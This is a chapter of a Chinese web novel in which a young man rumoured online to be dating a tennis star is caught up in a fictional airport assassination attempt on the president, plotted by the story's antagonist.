周谢哼笑,弯下身捡起烟头,“到处逛逛。” “随便逛逛能逛到——” 时野欲言又止, 瞥一眼温绒,手揣进口袋握紧,“温绒,周谢找我,你先回去吧。” “好。” 温绒掉头进房间。 啪—— 门合上。 时野压低声音:“你找他干什么。” 周谢:“要在这里说?” 时野望向温绒的房间门,犹豫片刻,一手抓过周谢, 扯着他下楼。 两道颠簸的脚步声把木质楼梯踩得噔噔响。 到一楼时,周谢才终于伸手拨开时野,“可以了。” 时野再一次追问:“你找温绒干什么。” 周谢微垂眼眸, 岔开话题,“打会儿球吗?” …… 房间内,温绒舒舒服服泡了个澡, 散去一身疲惫。 爬上床后,他乐滋滋看机票。 正好大部队看完公开赛离开1区, 普通票没了,只剩价格翻几倍的头等舱。 有点贵。 不过想到落下的课程,还有50万报酬,温绒破天荒决定稍微浪费一下, 坐头等舱! 买好票,身体在床上激动一滚,肚子遭被子一拱,顺势撅着屁股跪起来。 拍拍脸颊。 冷静冷静。 明天在飞机上要多拍几张照片。 对,还要看一下坐飞机之前有什么需要注意的。 温绒打开蓝书, 正想搜索攻略,然而点击搜索栏,不可避免地看到上面竟有自己跟时野的名字。 我怎么跟时野一起上热搜了。 随即温绒记起时野说网友谣传自己跟他是一对的事。 一对,就是谈恋爱的意思。 谈恋爱的时候都要接吻。 脸颊噌一下通红,就连咽下的唾液,都成了一块热烘烘的碳,在胸口的位置燃烧。 温绒在这样的状况下脑子不太清醒地点开热搜,猛然发现热搜上全是自己的名字。 #温绒时野谈恋爱# #时野盯温绒# …… 其中,#超甜蜜公主抱#的词条格外突兀,在一堆名字里显得清新脱俗。 温绒没有抵抗住诱惑,点开词条。 第一条笔记弹出的瞬间,阳光透过手机映在脸上,温绒的眼底一片橙红。 ——夕阳下,身材健壮的人逆光横抱着另一个,在地上拉出长长的影子。 温绒觉得两人身上的运动服有些眼熟,顺着照片往下看。 [天呐!这是什么绝世美景,原来他俩之前就谈了。] [太偶像剧了,甜出糖尿病了要。] [羡慕时野,我也想这么抱温绒。] 等等 怎么有我的名字。 温绒把手机凑近眼睛,仔细看照片。 这是我吗? 我怎么不记得有这种照片。 【上次系统判断宿主会死亡时,宿主晕倒在了网球场。】 温绒瞪大眼睛,“怎么还有照片。” 【当时就有,只是没传播到蓝书上。】 “我记得那天是早上,没这么红的太阳。” 【P图】 温绒扶额。 手指滑动,下面全是“我嗑cp嗑晕了”“温绒时野99”……等等留言,甚至有人写起了小段子。 这样的热烈的氛围中,温绒心里突然催生出喜悦的感觉,嘴角忍不住提高。 噗嗤。 温绒笑出声,肩膀颤抖。 “哥哥。” 【嗯?】 他笑着问:“我是不是有一点花心?” 【嗯……啊?】 “我想到刚才跟时野接吻,心跳得好快。” 【谁接吻都会有生理反应。】 “我看到蓝书上那些留言,也很开心,就像当时发现自己喜欢学长一样。” 【……】 系统了然,宿主又想跟时野和莱昂组建大家庭了。 按道理来说,这种同时喜欢两个人的行为确实是花心,但没关系,系统会溺爱。 【这很正常,因为他们都对你很好,你要是不喜欢他们才奇怪,像一个白眼狼。】 温绒一愣,“真、真的吗?” 【当然是真的,他们对你好,你也对他们好就行了。他们要是让你不许跟另一个玩……比如说时野不许你跟莱昂一块儿,你就……就……】 “我就不跟学长绝交。” 【嗯!】 【那是时野自己不大气,跟你没关系。你爱跟谁在一块儿就跟谁在一块儿,他接受不了他自己退出。】 “我想,时野不会提这种要求。因为时野跟学长是一块儿长大的好朋友。” 【……嗯。】 “而且现在最重要的是从林竞航身上赚积分,好好干事业,不应该谈恋爱。”温绒又一次提醒自己。 【嗯!】系统双手赞成。 彻底冷静下来,温绒把注意力转移到原计划的坐飞机攻略上。 时钟一格一格跳动,网球场上没有停歇- 夜风吹过又一场独属于时野和周谢的网球赛事,裹挟着沿街浓烈的花香,落入一片灯红酒绿。 林竞航在艳羡的目光中走下玛莎拉蒂,身边跟着个黑衣保镖。 来夜店玩的漂亮女孩都是常客,见过排场大的,没见过他这样的,纷纷猜测他的来头。 “前几天我看他跟赵少爷一块儿喝酒,可能是赵少爷的朋友。” 赵泽阳,全联邦最大传媒公司的唯一继承人,从小就是人人称道的网球天才,虽然这个称号已经易了主……不过没关系,赵家不倒,赵少爷依然是这家夜店里地位最高的人,跟他攀上关系,在1区横着走没什么问题。 “长得真帅。” “有点酷酷的,像时野。” “不会就是时野吧!” “时野怎么可能来夜店,不怕被温绒甩了么。” “哈哈哈,你也磕啊?” “谁还不磕他俩,站在一块儿般配得一比,还有那个公主抱,甜死我了。” “我比较小众,我磕温绒跟周谢,女装温绒美死了。” “都磕都磕,你看路透没,比赛的时候温绒跟周谢坐一块儿特别般配。” “有大神花了他们三的同人图,巨好看。” “在哪?在哪?我瞅瞅。” 几个女生兴奋聊着,突然听见夜店门口的服务生说了句“不好意思,赵少爷说以后店里不再接待您。” 女生们皆是一愣,同人图都不着急了看了,偏头望过去。 林竞航气急败坏道,“你听他的话?!知道我小叔是谁吗?” 服务生为难,“那个……先生,要不我叫我们经理来?” “叫你们老板来,一个破经理有什么资格跟我谈——”顿了下,林竞航意外笑了,“不用,祝你们运营愉快。” …… “嘭——” 一声爆响,火光骤然炸开,浓烟包裹新闻记者的镜头。 “观众朋友们,插播一条紧急消息。昨夜,1区发生一起爆炸,造成多人失踪——” “关了。” 得到指令,女佣迅速关掉电视。 林竞航坐在阳台的躺椅上,品尝着二十年的干邑。 末世的日子太苦,酒水都是稀缺品,但他最爱酒,酒能麻痹脑子,让脑子暂时忘记最终将会死于丧尸之口的痛苦人生。 而现在,喝着酒,更能感受到在末世无法体会的惬意。 只是安全和宁静成了常态,这样的惬意似乎无法满足他的内心。林竞航竟然觉得有些无聊,不如在夜店里听着音乐,看着美女,再看些那些小说人物的乐子…… 还是跟赵泽阳一块儿玩有意思。 林竞航得出这个结论后,又开始思考新问题:赵泽阳骂他一通还不许夜店接待他这件事绝对不可能因为一场爆炸就算了,他想要赵泽阳巴巴回来跪下求他。 “少爷。” 随身伺候了一夜的女佣再次为他端上冰桶,同时带来楼下的消息,“少爷,家里有贵客到了。” 林竞航置若罔闻,低头看一眼高脚杯,举起来对准天上的云,“怎么才能立马主宰这个世界?” “……” 女佣不敢开口。 作为一个平民出生的人,在得知家里有个假少爷,而真少爷同样出生贫民窟的时候,女佣曾经幻想如果这种好事发生在自己身上,自己会怎么做。 几乎毫不意外地——享受当富婆的生活。 所以自家少爷神神叨叨想主宰全世界并不是什么笑话。 “好像……最简单的办法是子承父业。” “嗯。” 女佣由衷赞这句话话。 她从小被教育联邦是民主、自由、平等的集合体,但来到1区才认识到,书本是谎言,现实仍然是血液继承高贵身份的世界。 “现在的总统是谁?” 女佣:“?” 还有人不知道联邦总统是谁吗? 林竞航自己安静了半秒,摸出手机想要搜一搜,意外收到蓝书弹出的热搜消息。 #温绒时野婚礼# #爱上温绒,你有福了# “他这么受欢迎啊。” 点开新闻,发现通告全篇在吹捧温绒,下面甚至有上千人附和。 林竞航小声嘀咕,“蠢货,还是活得太幸福。如果经历过末世,就不会被漂亮脸蛋迷惑了。” 随即,他一口喝完高脚杯里的酒,走回房间。 奇异的是,他离开瞬间,天边一片云迅速消散,阳光重新撒向这栋别墅。 蓝书上的网友们热衷于给温绒和时野写段子,即使时野已经发布了“我和温绒只是普通朋友”的通告,网友表示“没关系,我们嗑我们的”。 而在这样的火热的暧昧氛围中,有人唱着反调。 [时野不可能跟温绒在一起。时野家上下几代都是找政治世家的大小姐联姻,绝无例外。他跟温绒最多就是玩玩而已。] [况且温绒还是男的,生不了孩子!时野要继承时家的前提是必须要有继承人。] [可以领养吧?] [领养哪能和亲生的比,谁知道领养的孩子有没有贫民基因。] [时家不是还有一个……吗?] [不行不行,时家继承人必须要是时野的基因才行,不然太可惜了。] [支持。] [毒唯装cp粉吵架的样子真好笑。就时野基因可惜,温绒的基因就不可惜吗?] [我家儿子就该找个漂亮儿媳妇,再生两三个绝世大美人出来,时野滚一边去。] [吵这些有的没的干嘛?最大的问题难道不是选举将近,时家必须得跟王家攀关系才能保持现在的地位么。] [时野喜欢温绒又怎么样,为了家族地位,他得求着跟王家几个大小姐结婚。] 很会说话。 可惜王家要是真的厉害到那种程度,他现在也不会这么烦恼了。 咚咚咚 敲门声。 林竞航不爽,“我说过没我的允许不许——” 话音在看见王斯辰时戛然而止。 “你说要给我准备惊喜,怎么等了一天都没消息。” “……” 林竞航差点忘记这茬了。 跟温绒打赌后他以为温绒绝对会输,先给王斯辰发了“今晚送你个礼物”的消息。 王斯辰自然是没有在乎这个“惊喜”的,看林竞航的表情也知道个大概,岔开话题,“下周就要入学了,我打算送你一辆车,进出学校方便。” “谢谢小叔。” 林竞航重新高兴起来。 他这个“小叔叔”对他那是没话说,刚来时,王家父母还死活要保着王艾伦,只有这个小叔叔先认了他的身份,还给银行卡,叫他随便花。 系统虽然能换钱,但这种别人自愿送来的物质让林竞航多得到一份情绪价值,那是在末世从来不曾有过的东西。 “我听说你跟赵泽阳吵架了?” 林竞航的快乐戛然而止,“你来找我就是想问这件事?” “我还没有争取到时家,所以暂时先别跟赵泽阳吵架,他家掌管着联邦最大的传媒公司,在舆论方面非常有影响力。” 烦透了。 明明我是主角,为什么事事不顺。 “我知道你不喜欢赵泽阳,要不是他,你以前也不会被弗罗里曼学院退学。” 王斯辰抬手拍林竞航的肩膀,“等我当上总统,我帮你收拾他。” “我——” 王斯辰打断林竞航,“王家那么多孩子里我最看好你,叔叔没有儿子,以后你就是我的继承人。” 林竞航心绪沸腾,获得前所未有的愉悦。 除了王斯辰给他带来的部分,还有另一部分,是他刚才的思考,与此时王斯辰的话,不谋而合。 等会儿—— 他突然想起,小说里王斯辰当上总统的契机是上一任总统遭到刺杀,当场死亡。 既然都要死,为什么不能提前一点呢。 “想什么?” 林竞航摇头,眼底满是迫不及待- 与此同时,温绒穿上长袖,把短的衣服全部放进行李袋底下,厚的衣服放在上层。 他要回弗罗里曼学院了,学校那边还是深冬,下飞机后需要穿上厚衣服。 收拾完毕,计划跟时野道别。 温绒走下楼,看见老管家,礼貌问好,又问:“请问时野训练回来了吗?” 即使没有比赛时野也会训练,之前在学校就这样了,所以温绒特地问一句。 “昨晚少爷打了一晚上网球,还没起。” “啊?打那么久?” 老管家笑笑,“跟周少爷打,两人从小就这样,比拼起来谁也不服谁。” 温绒看一眼时间,飞机下午五点起飞,现在才十一点,还早,到也不着急立马给时野说这件事。 于是温绒谢过老管家,上楼打算回房间,等时野起了再说。 咔擦—— 路过一扇门时,突然传来门锁声。 温绒刚回头,“啪”地一声,门重重合上,他甚至没看清里面是谁。 温绒:? 咔擦—— 门再次打开,开出条缝。 立马露出只眼睛,“早安。” 是时野的声音。 有点奇怪,不过温绒猜想时野可能没穿衣服才藏在门后面。 略过这些不重要的事,温绒单刀直入:“我今天要回学校了,下午的飞机。” “我让司机送你去机场。” “谢谢。”温绒道谢后,礼貌性地询问:“你什么时候回学校?” “我啊……我过几天。” 咔擦—— 又一道开门声在身后响。 温绒好奇扭头,还没看清是谁,先遭到冷冰冰地质问:“大早上吵什么吵。” 温绒不禁好奇,自己说话声音很大吗? 而且,现在是早上吗? “不好意思。”他还是先道歉,回头压低声音给时野说:“那你回学校的时候注意安全,我先回房间了。” “等等——”时野着急叫住温绒,“你别管周谢,他神经敏感,别人呼吸他都有意见。” 温绒回头解释,“我要说的也说完了。” 时野:“……” 周谢抱胸靠在门框边。 如果温绒这会儿再仔细看,大概会看见周谢左眼睛上有一块明显的淤青。 时野眼珠滴漏滴漏转半圈,着急跟温绒说:“我有话想单独跟你说。” 温绒:“什么事?” 时野的视线往周谢身上飘,“不能给他听,你进来。” 周谢噗嗤笑一声,用口型说出“幼稚”两个字,只有时野可以看到。 但笑声是明显的,温绒被吸引回头。 啪—— 只看见周谢的房间门紧紧闭合,甚至磕噔磕噔落锁。 温绒:“……” 奇奇怪怪。 温绒说:“他不在了,有什么事你说吧。” 时野:“……” “什么事?” “……” 温绒敏锐察觉时野有别扭的趋势,迅速捡起话语权,“你不说我就回房间了。” “别——” 时野着急开门拉他,温绒刚想强硬一点让时野赶紧把话说完,余光瞥见时野颧骨上竟然有一块指甲盖大小的青紫。 “你的脸怎么了?”温绒震惊。 时野迅速后退想要关门,在合上门的瞬间,想到什么,又拉开门,委屈巴巴道,“被周谢揍的。” “原来你打不过周谢吗?”温绒更吃惊。 艹! “我打得过!是因为……”时野的脑子迅速膨胀,反转三圈努力想出个不损毁自己形象的理由,“是因为周谢太阴险,而且我还看在一块儿长大的份上特地让着他。只是没想到他竟然会对我下死手,我真绝望。” “你俩怎么闹矛盾了?” “……”高速运转的脑子卡壳。 总不可能给温绒实话实说,周谢看自己跟莱昂喜欢他,也想来凑热闹。 把温绒当什么了啊!战利品吗? 沉默中,索性温绒岔开了话题,“只是脸受伤了吗?” “嗯。” 时野强行瘪嘴,挤眉弄眼,试图让温绒注意指甲盖大小的青紫,哼唧:“好痛。” “……” “真的痛。” 温绒呆滞地指指墙壁,“你拿拳头砸墙的时候应该更疼吧。” 时野:“……” 完蛋。 猛男形象立得太稳,没办法当绿茶了。 “我记得你还要回去气你父……” “时、时……” 温绒结巴半天,不知道该怎么准确形容出时野父亲。 时野提醒:“那个渣男。” “对,那个渣男,看见你受伤,他可能会很开心。” “要不要我帮你处理一下?” 时野茫然一望,“嗯?” “你刚才扭扭捏捏半天不说话,不是想让我帮你吗?” 时野:“?” 温绒微笑,“下次直接说就好了,我会帮你的。” “!!” 什么《10天速成绿茶》,等会儿就删了。 他突然觉得脸上这一拳真是值。 虽然一起长大的朋友里面三分之二心都脏,但是!他喜欢的人是最好最体贴的。 时野乐滋滋跟着温绒下楼,听话坐在沙发边,一边幻想温绒贴心帮自己擦药一边想着怎么跟周谢炫耀。 突然,湿润冰凉的感觉定在半边脸上。 温绒:“自己拿一下,敷一会儿。” 时野茫然举起手接过温绒用毛巾包裹的冰块,震惊道,“不擦药吗?” “别娇气,一小块青紫而已,冰敷一会儿就散了。” 时野:“……” 温绒心疼我,但不多。 …… 午饭时,温绒在周谢脸上看到同样的惨状,猜测这两个人昨晚因为什么事吵了架,他作为外人不好插嘴,默默低头吃饭。 周谢看见时野乐滋滋抱着团毛巾吃饭,心想他是不是神经病,下一秒,时野望向温绒时眼神甜蜜得跟初入爱河的小情侣似的,周谢好像明白了什么。 哦,看到时野受伤就给他找东西冰敷。 我不也被时野打肿眼睛了。 周谢扯了扯下唇,张嘴想说话,又觉得没必要说什么。 昨天的合作是意外,温绒折磨自己才是常态。 而且早就有去淤痕的镇定贴,只有时野会抱着个老土的毛巾当宝贝。 砰 砰 砰 周谢喝着粥,勺子一阵一阵地戳碗底。 一顿午饭在诡异的沉默中结束。 网上有很多错过飞机的例子,改签又需要花一大笔钱,所以温绒没再多停留,直接背好包去机场了。 不幸的是,他现在戴着黑框眼镜也会被认出来,从门口就遭到围堵。 幸好头等舱有专门的通道,值机通过安检后围堵他的人就比较少了,去到休息室时人更少,温绒顺利坐下。 14:00 正是太阳直达头顶的时候,空气闷热,建筑物的影子都只有一丁点,不够路人遮阳。 周文栋抵达机场时,看见大门口聚集了比平时更多的人。 他不走大门倒也不影响,只是难免好奇,“今天又是哪位大明星回1区?” 秘书敲键盘询问,几秒后得到答案,“是温绒。” 由于昨天刚跟周文栋汇报过周谢帮温绒找位置的事,秘书不对温绒做过多介绍,只说昨天到今天发生的事:“昨天他采访时野的视频在网上引起热烈讨论,知名度再一步扩大,许多人都成了他的粉丝。” 秘书还要再介绍目前大众对温绒的评价,周文栋摆摆手,示意秘书停止。 秘书忍不住补充:“网上还传他跟周谢谈恋爱。” “谈恋爱? “嗯。” “应该是网上乱传的。” 周文栋了解自己儿子,要是真跟温绒谈恋爱,他儿子就不会让温绒自己坐飞机。 因为危险。 不过昨晚他那么开心,应该是对温绒有些意思的。 周文栋出于私心,吩咐秘书:“你看看他的航班是什么时候,要是空余时间多,请他来休息室跟我聊会儿天。” 秘书:“收到。” “一定要先征询一下他的意见。” “好的。” 下车后,秘书按照安排去找温绒,周文栋给自家儿子发消息。 [知道我在机场遇见谁了吗?] 周谢:[钓鱼的朋友?] 周文栋嘲笑儿子一点都不敏锐,怎么连温绒在机场都不知道。 这么看来,自家儿子要花好大功夫才能追上人家。 [有点迟钝。] [我遇见温绒了。] [正好我也去弗罗里曼学院那边,带他一起。] 周谢秒回:[你别跟他乱说。] 周文栋好难看见儿子着急一次,忍不住问:[怕我跟他说你喜欢他?] [我没有喜欢他。] 周文栋笑:[我倒是知道时野喜欢他,你从小爱跟时野争,因为你们俩的喜好总是一致。] 周谢不回了。 周文栋听到身后传来一串来电铃声。 回头,秘书带着温绒进门。 温绒身上带着独属于18岁孩子的单纯气质,举手投足间规规矩矩,像是乖小孩。 乖小孩因为手机发出声音,紧张地用力摁侧边音量键,还道歉,“不好意思。” “不用紧张。”周文栋安抚小朋友,问:“是周谢给你打的电话?” 温绒一愣,乖乖摊出正被来电轰炸的手机,“嗯。” “挂掉。” “啊?” “可以挂掉,咱俩说话,别让他插嘴。” “哦哦。” 大概是太紧张,他仿佛机器人得到指令一般,迅速挂掉电话。 迟钝个两三秒,突然鞠躬,“您好!” “不用拘谨,来坐,想吃什么,秘书帮你拿。” “不用不用。” “喝点什么?” “不用不用。” “别怕,我找你来只是想跟你聊些家常,来,坐。” 温绒乖乖坐下,由于对国家领导人以生具来的崇敬,身子坐得板正,手直直搭在膝盖上,竟然忍不住发抖。 “你想找爸爸妈妈吗?” “什么?”温绒紧张情绪下听不太清内容。 周文栋温和地笑,“你想找亲生父母吗?我可以帮你找一找。” “我……”温绒本能地反问:“为什么要帮我?” 周文栋叹了口气,“因为我特别能理解你的不容易。” 温绒歪一下脑袋以示疑惑。 周文栋夹带私心地解释:“周谢以前跟时野一样贪玩好胜,他母亲去世后,就不敢碰任何兴趣爱好了,天天跟着我工作,还开除掉家里所有佣人,自己学着做家务,就连做饭也自己做……那会儿他才十二岁。我看着他不开心地长大,所以我知道你在福利院过得比他更不开心。” “有没有想过找爸爸妈妈?” “我……” 温绒动了动嘴,“我想的。” “在帮助你之前,我有几个小小的问题要先问一问。” 温绒急切点头,“嗯嗯,您问。” “如果当年真的是爸爸妈妈抛弃了你,你要怎么办?” 温绒愣住。 这个刻意被忽略的问题似乎重新回到他的面前。 得知时野爸妈的事时,他就猜想过父母是因为婚姻不幸福才抛弃了自己,当时的解题方法是自己组建新家庭。 但此刻的他再回想这个问题,发觉组建新家庭并不是答案。 至于正确答案…… 他也不知道。 周文栋说:“不用纠结,无论结果是好是坏,都是你应该了解的。人最怕活不明白,真正地了解过去,你才知道未来该如何选择。” 温绒有所启发。 关于自己为什么会在福利院这件事确实需要一个答案。 如果父母抛弃了自己,那自己就努力创造属于自己的幸福家庭。 如果自己遭到拐卖,那就跟父母组建幸福家庭。 如果父母去世,那就每年清明常去看看他们。 虽然上辈子的答案已经无从知晓,但这辈子的答案一样很重要。 温绒捏紧膝盖,“这件事麻烦您了,有什么我能做的您尽管说。” 周文栋微笑,“多尝尝我儿子做的菜就好了。” “啊?”温绒震惊。 “我工作忙,不能总回家,他自己做饭肯定吃不完,需要有人帮他解决。” “别担心,他的手艺跟我妻子一样好,我妻子要是在世,也会很喜欢做饭给你这么乖的孩子吃。” 温绒不太好意思,“谢谢您的夸奖。” “我私心一点的要求,希望你吃完饭后能夸夸他。” “别看他那样整天冷着脸,其实他只是没有安全感,总想着掌控所有事。要是夸夸他,他能轻松一点。” 虽然周总统话里的周谢跟温绒见到的完全不一样,但周总统帮助自己找父母,吃饭夸奖这种小事,温绒还是办得到的。 而且他能感受到周总统话语间对儿子的关心,是一位非常非常好的父亲。 对周总统有好感,连带着发觉周谢偶尔也算得上一个好人。 至少校庆的时候帮了自己,公开赛也帮了自己。 是不是该改变自己的一些看法? “温绒,能答应我的请求吗?” 温绒如梦初醒,“嗯嗯,您放心,我会努力跟周谢做朋友的。” “真是谢谢你了。” 温绒刚想说不客气,凭空突然响起一声“砰”。 金属撕裂空气的响动令休息室里的黑衣保镖瞬间摸向右口袋,哒哒哒,两秒时间就齐齐围住周文栋。 温绒被这阵仗吓一跳,直到周文栋伸手拉了他一把,把他拉进人墙内。 “别怕,只是出了点小事故。” 话音刚落,秘书开口,“机场来报,门口有人持枪无差别杀人,目前已确认两名群众死亡,三名受伤。” 枪—— 刚才是枪声?! 从未真实听过这个声音的温绒生出种做梦的感觉,又在继续响起的“砰砰”声中,心脏轰隆下坠。 滋滋滋滋 兜里的手机来电。 温绒还没回神,呆滞地思考着枪为什么会出现在日常出行的地方,直到周文栋温和地提醒他:“接吧,消息传得很快,可能有人担心你出事。” 温绒恍惚地摸出手机,发现是时野的来电。 他下意识抬眼,周文栋扭头跟秘书低声说话,像是刻意避免声音太大被别人听见。 想了想,还是挂断电话,给时野回复消息:[我没事,我跟周总统在一块儿。] 时野:[不要离开他,在他身边更安全。] 作为联邦总统,身边都是最顶级的带枪保镖,就算出事,也是所有人首要保护的目标,呆在他旁边确实安全。 温绒呼气,像是从枪口下捡回一条命。 那边周文栋跟秘书吩咐完,回头问:“怎么不接?” “我已经给他发消息报平安了。” “嗯。”周文栋点头又说:“现在机场前后乱成一团糟,还没查出是否有同伙,你的航班估计会晚点。” “不要紧不要紧,安全就好。” “要不要跟我一块儿走?我的航班不晚点,正好也是去那边。” 温绒一愣,脑子里霎时浮现各种新闻上出现的领导人走红毯上飞机画面,忍不住问:“是要走红毯,上新闻那种吗?” 在询问的声音里,舌尖颤抖。 不是害怕。 ——是兴奋。 温绒光是想象自己出现在最权威的新闻上,就有种说不出的激动。 感觉会很酷! “这次是秘密行程,没有媒体接机,放心吧。”然而周文栋完全误会了温绒。 温绒说不出是失落还是冷静了,慎重想一想,还是婉拒,“谢谢您,不过您带上我肯定不方便,我还是在机场等着航空公司出消息吧。” “那我只能冒昧地邀请你跟我一起走了。联邦禁枪,枪击持续不断,说明对方手里有充足的军火,保不准在什么地方置放炸弹,机场警务虽然在排查,但总不会立马变安全。” 周文栋继续说:“你明明就跟我在一起,要是我把你丢在这里导致你出了事故,我会很自责。” 温绒被说服了,但又想到自己的行李,“我的行李……” “我让人去拿,走吧。我可不能晚点,晚点的话,就要害几万个人吹冷风了。” 温绒觉得周总统真是个幽默又心好的人,怎么周谢跟他一点都不像呢? 想象一下周谢说出周总统说的话,还笑一笑,温绒竟然觉得那画面恐怖到让人压不住嘴角,很想嘲笑。 枪击声不再响起的机场仍然有巨大动静,有人着急打电话报平安有人迅速发了蓝书,还有人收到航空公司的消息,因为晚点而咒骂。 跟在周总统身边,沿路每隔几步都有穿着黑色警察服装的人背手站岗,甚至进入登机口,廊桥两边仍然用警察组成了人墙。 阵仗大到温绒都有些后悔答应周总统,感觉自己不太配得上这样隆重的服务。 那就多蹭几顿饭,多夸夸周谢吧。 温绒这么想着,突然,“嘭”地一声巨响,廊桥上炸开一道火光,两边站立的警卫全数被火舌吞没。 灼人的气浪压着温绒的身体向后倒。 他尚不及反应,脚下一滑,好像踩到了空气。 “@%$#” 手臂剧痛,温绒跟鸭子一样摆动双腿,看清两张血淋淋的脸靠近自己,才缓慢意识到,廊桥炸了,自己差点从炸坏的地面摔下去。 是周总统和秘书拉住了他。 他们在说话,而温绒的耳朵里只有“嗡嗡嗡”的鸣响。 空气呛得他忍不住咳嗽。 不知道过了多久,双脚沾上地,温绒回头,一口难吃的热气卡住他张大的嘴。 灰黑色的浓烟像怪物一样挡住所有视野,偶然被风吹开的地方,露出焦黑、难以辨析形状的物体。 一个声音告诉他,那是死去的警卫。 “别怕。” 一只手用力扯过温绒的脑袋,把他摁在怀里。 “没事,没事。” 秘书尖叫:“保护总统,安排新车,回使馆。” 这是很恐怖的事情,周总统出行,机场和保镖队会分两次排查所有路段,排查过后会安排警卫隔两米站一人守在原地。 如此严密的情况下还出现事故,那就说明存在目前以期无法用机器探测、无法用眼睛看出的新型武器,极度危险。 “别害怕,等会儿我派车单独送你走,他们的目标是我。” 温绒紧绷的神经终于稍稍软下。 不是因为“别人帮我引开了危险”,而是周文栋在这样的危险中,给予他安慰这个动作。 这是温绒过去从来没有得到过的东西。 冷静。 温绒抬手用力拍自己的脸,强迫自己冷静。 电视上都这样演,抗战剧里很多的。 一般这种都是有惊无险,所有人都会安全。 冷静一点。 温绒用力闭眼睛,强迫自己的脑子赶紧转起来。 可是手还在脸上,指尖发抖。 “能起来吗?这里不安全,我们要赶紧离开。来,我扶你起来。” 温绒强行站起。 “张奇,来帮我扶一下温绒。” 温绒猛然一愣。 原来我没站起来吗? 他低头,确实看见双腿贴着地面,第一次感觉这双腿不属于自己。 他想站起来,想站起来去安全的地方,可是腿不听使唤。 “来。”叫张奇的秘书伸手来扶他,“手搭在我肩膀上。” 腿不听话,手一定要听话。 还留在脸上的手指把指甲都陷入皮肉里,剧痛让温绒稍微得到身体的掌控权,勾着秘书的肩膀艰难站起。 温绒有种自己拖了后腿的绝望感,忍不住道歉,“对不起。” “没事,你第一次遇到这种事。”张奇在这样危险的时候,竟然笑了,“我第一次遇见的时候都尿裤子了。” “周总统,这边。” 保镖和警卫示意着周文栋。 温绒浅浅松一口气,心想这跟电视剧里一样,好起来了。 耳边突然响起闷哼。 巨大的重力倒在温绒身上,温绒差点摔倒。 索性他的腿终于听话,踉跄两下站定,手本能地抱住压向自己的身体。 “有狙击手,张奇中枪。” 温绒愣然,无数双手帮他带走身上的重量。 或者说,他们拖走张奇。 视野打开,浓烟消散,廊桥开出个“大门”,直通外面平坦的跑道。 很难看见任何高物,相隔数千米之外的楼层比一粒米还要细小。 但脑子告诉他:枪来自那个方向。 温绒偶尔在蓝书上看到过,这个世界最远狙击记录是4000m。 当时他并不了解军事,只是胡乱记了一下数值,现在,他终于对数据有了真切认知。 那样远的距离,一栋楼都像一粒米,一个人大概是一小截头发丝。 有人在那里,用狙击枪,打中了头发丝。 这完全超越温绒的认知,让他生出种无从躲避的感觉。 被保镖们拉着回休息室后,温绒顶着满脸黑污,眼睛死死盯着窗外。 甚至下意识站在柜子后面遮挡自己。 即使休息室里站满保镖。 如果不躲起来,就会被击中,有保镖也不安全。 他这样恐惧着。 “被怕,玻璃采用最新的防弹技术,狙击枪射不进来。”相较之下,周文栋冷静得可怕,甚至还有余力倒了杯水,递给温绒,“来喝点水。” 温绒接过水,哐当一下,水杯落在地毯上。 “不好意思。” “没事。”周文栋伸手拍拍他的后背,“是我该道歉,让你陷入危险之中。” 温绒慌张摇头,“没有,我……我只是第一次遇见这种情况,有点不知道该怎么办。” 随即又忍不住问:“您经常遇到这种情况吗?” “有些机构总喜欢让我见识一下他们研究出的新武器。” 温绒:“……” “别怕,等会儿我让人把你送出机场。现在机场不安全,你还是跟时野呆着比较好。” “我……”温绒着急问:“张奇秘书怎么样了,他中枪了,他会死吗?” “打中了肩膀,应该没有生命危险。” 温绒松了口气。 求求了,就照电视剧那样演,有惊无险就好。 滋滋滋 手机响起来电提示,温绒瞬间想到时野。 “接吧,这时候听一下熟人的声音会好一些。” 温绒听从建议接起电话,“喂——” “你在休息室里等我,我马上过来。” 温绒稍微冷静下来的他明白,时野太快知道自己这里发生了爆炸不是一件好事。 他小心看一眼周总统,问:“你怎么知道我在休息室。” “登机□□炸了,为了安全肯定只能回防弹的休息室。” 温绒坚持问:“你怎么知道爆炸了。” “你在那边等我,我还有十分钟到。” 从时家庄园到这边花了半个小时,以时野的速度大概是15分钟,那就是说,5分钟前时野就出了门。 从爆炸到现在不知道过了多久,但温绒猜绝对不超过十分钟。 温绒急忙道,“你别过来,周总统说等会儿派人送我回去,你不要跟我错过了。” 说完,他挂断电话,给周总统道歉,“对不起,时野应该是担心我才打听您的消息,他没有恶意。” 周文栋一愣,体会到话里的深意,笑道。“没事,这是我的疏忽,确实没有做好保密工作。” “现在所有人都知道您在休息室里,可能还会有动作……”说到这里,温绒声音停止了。 因为他不知道该怎么办,身为总统,有过那么多刺杀经历,身边还全是保镖,这里的每一个人都比自己更专业,自己的话好像只是在传播焦虑。 “这是大人需要烦恼的事,小朋友就深呼吸,尽量放松,别害怕。” 周文栋摸出手机拨打电话,跟对方说了串数字。 温绒明白是某种暗号,刻意不去深想,捡起玻璃杯放到桌子上,用新的杯子倒一杯水,囫囵吞进肚子里,强迫自己镇定。 为了缓解,还在心里喊系统,“哥哥。” 【我在。】 “你以前有遇到过这种情况吗?那些人都是怎么解决的。” 系统沉默。 是有这种情况,宿主选择过拼枪,肉搏……但温绒明显不行啊! “哥哥?” 【宿主,放宽心,周文栋还没到要死的时候,你们这次很安全。】 咔嚓—— 即使被系统安慰到了,但开门声还是瞬间让温绒身体紧绷。 周文栋发觉他的警惕,“别怕,是保镖。” 温绒刚想松口气,余光间一抹熟悉的蓝光闪过。 保镖绽放蓝光的手,缓慢摸向右边口袋里的枪- “狙击任务失败,子弹飞行十秒期间,目标身边秘书正好挡住。” “爆炸呢?”林竞航焦急询问。 “不知道为什么提前爆炸了。” “不可能!” 王斯辰眼睛轻飘飘瞥他一眼,“压力太大就去休息吧。” 这次刺杀是林竞航的提议,王斯辰本着锻炼新侄子的想法陪着,没真希望靠这次就弄死周文栋。要是林竞航因为这点小情况心态出问题,那得不偿失。 最重要的是,王家不能出现第二个王艾伦了。 “一定哪个环节出了问题,东西都放在我说的位置了?” “是的。” “那绝对不可能出问题。” 王斯辰叹口气,转移林竞航的注意,“虽然没成功,但你这次提供的微型炸弹用仪器都测不出来,很厉害,你怎么制作的?” 林竞航面色一变,“我、我自己研究的。” “嗯,再改一改爆炸的时间准度,以后我帮你上军火编号。” “嗯……嗯。” 林竞航当然不能说那是用积分兑换的。 但是——正因为是用积分兑换的,他才诧异为什么明明设定好等周文栋路过时爆炸,却出了问题。 这种剧情走向偏离设定的情况…… “议员,那边回复,周总统身边有一个男孩。” 